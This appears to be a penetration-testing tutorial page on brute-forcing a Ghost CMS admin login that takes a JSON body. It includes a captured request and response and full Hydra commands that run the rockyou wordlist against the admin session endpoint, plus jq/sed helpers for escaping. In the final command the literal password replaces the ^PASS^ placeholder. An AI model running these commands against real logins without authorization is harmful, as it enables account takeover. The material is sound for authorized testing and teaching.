Skip to main content

Brute Force Web Logon with JSON

Process Overview

The basic process to begin brute forcing web logins with Hydra goes like this:

  1. Open your web browser
  2. Navigate to the target site
  3. Open the browser developer tools
    Or, configure traffic to go through a HTTP proxy (e.g. Burp Suite)
  4. Make a login attempt to the target service
  5. Inspect the request using the browser developer tools or proxied request
    • Note the target URL
    • Note the HTTP method
    • Note any special headers
    • Note any request body / payload
    • Note the server response for invalid logins

Test Login

image.png

Login Form

POST /admin/session HTTP/1.1
Host: domain.tld
Content-Length: 57
X-Ghost-Version: 5.58
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: text/plain, */*; q=0.01
Content-Type: application/json;charset=UTF-8
App-Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: http://domain.tld
Referer: http://domain.tldl/ghost/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"username":"admin@domain.tld","password":"password"}

Request caught in Burp Proxy

HTTP/1.1 422 Unprocessable Entity
Date: Wed, 11 Dec 2024 23:05:01 GMT
Server: Apache
X-Powered-By: Express
Content-Version: v5.58
Vary: Accept-Version,Origin,Accept-Encoding
Cache-Control: no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0
Access-Control-Allow-Origin: http://domain.tld
Content-Type: application/json; charset=utf-8
Content-Length: 321
ETag: W/"141-mo52w2dZeUtam6x7RIHxdW6ghKU"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{"errors":[{"message":"Your password is incorrect.","context":"Your password is incorrect.","type":"ValidationError","details":null,"property":null,"help":"Visit and save your profile after logging in to check for problems.","code":"PASSWORD_INCORRECT","id":"59c11ee0-b814-11ef-9e50-6be891eecd46","ghostErrorCode":null}]}

Response caught in Burp Proxy

Brute Force HTTP POST Login

Beware of account lockouts due to repeated failed logins

HYDRA_PROXY_HTTP=http://127.0.0.1:8080 hydra -I -f -V -l 'admin@domain.tld' \
-P ~/Pentest/WordLists/rockyou.txt \
'http-post-form://domain.tld/ghost/api/admin/session:{"username"\: "^USER^", "password"\: "^PASS^"}:H=X-Ghost-Version\: 5.58:H=Content-Type\: application/json;charset=UTF-8:F=422'

Example command

Explaining the Command

The : character is reserved for separating arguments when running hyrda

However... HTTP headers and JSON also use the : character to separate key: value pairs
Therefore, we must escape any : or else, hydra will interpret it as the start of a new argument

  • HYDRA_PROXY_HTTP — a command variable assignment to tell hydra to proxy requests via Burp
  • User-supplied arguments separated by a : character:
    • Hydra Module and URL: http-post-form://domain.tld/ghost/api/admin/session
    • HTTP POST JSON Payload: {"username"\: "^USER^", "password"\: "^PASS^"}
      • \: escapes the colons in the JSON data
      • Otherwise, hydra would interpret it as the start of the next http-post-form argument
    • HTTP Header 1: H=X-Ghost-Version\: 5.58
      • \: escapes the colon in the HTTP header
      • As observed in the original request headers
    • HTTP Header 2: H=Content-Type\: application/json;charset=UTF-8
      • \: escapes the colon in the HTTP header 
      • Header is REQUIRED to ensure the server knows we're sending JSON data
    • Hydra Module Success/Fail Keyword(s): F=422
      • Aligns with the HTTP 422 server response indicating failed login

Another thing you can do is take the JSON payload from the HTTP logs in Burp and use jq and sed to escape the colons in the JSON and HTTP headers.

cat << EOF | jq -c | sed 's/:/\\:/g'
{
  "username": "admin@domain.tld",
  "password": "password"
}
EOF

Minify the JSON and escape colons, since hydra uses colons as field delimiters

image.png

Resulting output

head -c -1 << EOF | sed -e '/^H=/!s/^/H=/' -e 's/:/\\:/g' | tr '\n' ':'
X-Ghost-Version: 5.58
Content-Type: application/json;charset=UTF-8
EOF

Escape the colons in HTTP headers, and pre-format for hydra usage

image.png

 

HYDRA_PROXY_HTTP=http://127.0.0.1:8080 hydra -I -f -V -l 'admin@domain.tld' \
-P ~/Pentest/WordLists/rockyou.txt \
'http-post-form://domain.tld/ghost/api/admin/session:{"username"\:"admin@domain.tld","password"\:"password"}:H=X-Ghost-Version\: 5.58:H=Content-Type\: application/json;charset=UTF-8:F=422'

Paste the output into the payload field